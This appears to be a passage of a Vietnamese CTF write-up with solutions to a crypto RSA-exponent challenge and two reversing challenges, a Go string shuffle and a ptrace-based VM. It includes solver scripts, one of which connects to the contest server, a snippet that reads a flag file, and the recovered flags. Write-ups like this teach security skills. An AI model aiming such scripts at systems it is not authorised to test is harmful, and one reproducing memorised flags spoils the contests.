with open('/home/ctf/flag.txt','r') as f:
print(f.read())
Challenge tạo hai số nguyên tố p
, q
, mã hóa một số ngẫu nhiên m
, trả về m
và bản mã c
; yêu cầu nhập p
, q
và d
sao cho m == pow(c, d, n)
(với n=pq).
Như vậy mình cần tìm hai số nguyên tố sao cho việc tính logarit được dễ dàng một chút.
Sau khi tìm được dp, dq sao cho m ≡ c^dp (mod p) và m ≡ c^dq (mod q), tìm d bằng cách tính d ≡ dp (mod p-1) và d ≡ dq (mod q-1).
from sage.all import *
from pwn import remote
r = remote('61.28.237.24', 30304)
m,c = r.recvuntil("\n",drop=True).split()
m,c = int(m),int(c)
print(m,c)
def gen_prime():
while True:
p = 2
r = randint(10,15)
for i in range(55):
p *= random_prime(2**r,False,2**(r-1))
if is_prime(p+1):
return p+1
primes = []
ds = []
while True:
p = gen_prime()
try:
d = discrete_log(Mod(m,p),Mod(c,p))
assert pow(Mod(c,p),d,p) == Mod(m,p) and p.nbits() > 511 and p.nbits() < 1024
if len(primes) != 0:
assert (ds[0] - d) % gcd(primes[0]-1,p-1) == 0
primes.append(p)
ds.append(d)
if len(primes) == 2:
break
except:
continue
_,u,v = xgcd(primes[0]-1,primes[1]-1)
l = (ds[0] - ds[1])//gcd(primes[0]-1,primes[1]-1)
d = (ds[0] - (primes[0]-1)*u*l) % LCM(primes[0]-1,primes[1]-1)
assert m == pow(c,d,primes[0]*primes[1])
p = min(primes)
q = max(primes)
print(p,q)
r.sendline(str(p))
r.sendline(str(q))
r.sendline(str(d))
print(r.recv())
REVERSE
Go
- Phân tích tổng quan
- Load file vào IDA, theo thói quen tôi sẽ đi tìm strings của chương trình, nhận ra file được viết bằng ngôn ngữ Golang. Từ đó ta có thể dễ dàng đọc được tên của các function trong chương trình.
- Hàm main_promptUser() sẽ thực hiện in ra màn hình chuỗi “Please input your secret” và yêu cầu người dùng nhập secret. Sau đó sẽ kiểm tra chiều dài của input, nếu khác 16 kí tự thì sẽ kết thúc chương trình.
- Sau khi kiểm tra chiều dài input, chương trình sẽ duyệt từng kí tự bằng vòng lặp while, hóan đổi hai kí tự, dựa vào biến i và index được lưu trong main_KEY.
- Cuối cùng, chương trình sẽ so sánh Input đã được xáo trộn.
- Cách giải
- Theo như thuật toán, ta chỉ cần hoán đổi vị trí lại, thì sẽ lấy được secret ban đầu.
enc = "apc_iit0" + "_sredaig"
index = [1, 2, 9, 5, 0xF, 7, 0xB, 0xA, 3, 0xD, 8, 0, 0xE, 0xC, 4, 6]
enc_arr = [ord(c) for c in enc]
for i in range(15, -1, -1):
char1 = enc_arr[i]
char2 = enc_arr[index[i]]
enc_arr[i] = char2
enc_arr[index[i]] = char1
flag = "HCMUS-CTF{" + "".join([chr(c) for c in enc_arr]) + "}"
print("[+] Flag is " + flag)
-
Chạy đoạn script trên, ta được flag
“HCMUS-CTF{dep_trai_c0gisai}”
pt-vm
- Phân tích tổng quan
-
Như thường lệ tôi sẽ load file vào IDA để kiểm tra string, ta nhận được các string rất rõ ràng như bên trên.
- Đi từ hàm main(), ta thấy code rất rõ ràng là tạo một child process để chạy hàm ddee(), và parent process để chạy hàm dder().
- Phân tích parent process
- Tại hàm dder() mà parent process sẽ thực thi, hàm sử dụng ptrace() cùng với tham số request để tạo giao tiếp với child process. Hàm wait() sẽ đợi cho child process dừng để parent process xử lý.
-
Biến data_control sẽ thay đổi khi hàm ptrace() với request là PTRACE_PEEKDATA được gọi. Bằng cách tính toán, biến control sẽ quyết định chương trình sẽ nhảy vào điều kiện nào.
- Điều kiện thứ nhất, lấy dữ liệu từ child process tại địa chỉ num1, lưu vào num_reverse, sau đó thực hiện phép toán reverse bit, và gửi lại cho child process.
- Điều kiện thứ hai, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán cộng, và gửi lại cho child process.
- Điều kiện thứ ba, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán trừ, và gửi lại cho child process.
- Điều kiện thứ tư, lấy dữ liệu từ child process tại địa chỉ address, lưu vào biến num1 và num2, sau đó thực hiện phép toán xor, và gửi lại cho child process.
- Điều kiện thứ năm, lấy tất cả các string đã bị encode, sau đó thực hiện so sánh với geee, và gửi kết quả lại cho child process xử lý.
- Phân tích child process
- Theo như phân tích tại parent process, ta cần tìm cách child process xử lý các biến data_control, num_reverse, num1, num2, calc_rs.
- Đầu tiên tại hàm ddee() của child process sẽ lấy input từ user và kiểm chiều dài của input.
- Tiếp theo, sẽ thực hiện lấy lần lượt 8 kí tự và để xử lý.
-
Ta sẽ chú ý tại các hàm gọi MEMORY[], nó sẽ bị dừng, mục đích là để hàm wait() bên parent process sẽ được kích hoạt. Và các giá trị 0xA, 0x3C, 0x28, 0x1E, 0x50 sẽ được lưu vào biến data_control của parent process. Các giá trị này tương ứng với các điều kiện ở parent process như sau:
- 0xA: nhảy vào điều kiện một (reverse bit).
-
0x3C: nhảy vào điều kiện tư (xor).
- 0x28: nhảy vào điều kiện hai (cộng).
- 0x1E: nhảy vào điều kiện ba (trừ).
-
0x50: nhảy vào điều kiện năm (so sánh).
- Các tham số của hàm gọi MEMORY[], sẽ được lưu vào num1, num2, num_reverse, phục vụ cho việc tính toán.
- Với mỗi 8 kí tự, nó sẽ thực hiện tính toán 16 lần bằng vòng lặp for.
- Cách giải
-
Từ những phân tích trên, ta có thể viết script để tìm ra flag.
-
Script :
from z3 import * gkkk = [325596351, 457775025, 498535334, 921938257, 854559005, 278618817, 967278326, 495455348, 486407031, 560196648, 938663917, 895224611, 427208766, 324837071, 891048005, 328174499] num1 = 0x38821775 num2 = 0x4011109 enc_arr = [3481818651, 1406422550, 2166333605, 612036842, 3951196244, 3184151364, 4163952787, 2152010559, 1769293459, 3641677631, 170138174, 417601142, 4212788717, 2130536228, 4161410247, 2095996077, 3931769021, 611328995, 3931769021, 611328995, 3931769021, 611328995, 1448741053, 3765445603] flag = "" for j in range(0, len(enc_arr), 2): tmp1 = BitVec("tmp1", 32) tmp2 = BitVec("tmp2", 32) sol = Solver() for i in range(0, 16, 1): tmp_tmp1 = tmp2 tmp_tmp2 = tmp2 tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1 tmp_tmp2 = tmp_tmp2 ^ num1 tmp_tmp2 = (tmp_tmp2 + gkkk[i]) & 0xFFFFFFFF tmp_tmp2 = 0xFFFFFFFF + (~tmp_tmp2) + 1 tmp_tmp2 = tmp_tmp2 - num2 tmp2 = tmp_tmp2 ^ tmp1 tmp1 = tmp_tmp1 sol.add(tmp1 == enc_arr[j]) sol.add(tmp2 == enc_arr[j + 1]) sol.check() m = sol.model() flag = [] md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0])) for i in md: flag.append(i[1].as_long()) for i in flag: print(chr(i & 0xff), end = '') print(chr(i >> 8 & 0xff), end = '') print(chr(i >> 16 & 0xff), end = '') print(chr(i >> 24 & 0xff), end = '')
-
Chạy đoạn script trên, ta được flag :
HCMUS-CTF{toi_khong_biet_lam_nhu_nao_de_co_flag_dai_96_byte_caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
Conclusion
Cuối cùng, chúc mừng đội Giải nhất đã chiến thắng hoàn toàn xứng đáng và mình chân thành cảm ơn BTC của Đại học Khoa học Tự Nhiên đã tạo ra sân chơi cực kỳ bổ ích đến cho chúng mình, qua cuộc thi này mình cảm thấy học được nhiều thứ mới và cũng như đánh giá lại được năng lực của bản thân để cố gắng phát triển hơn nữa. _ Happy hacking XD _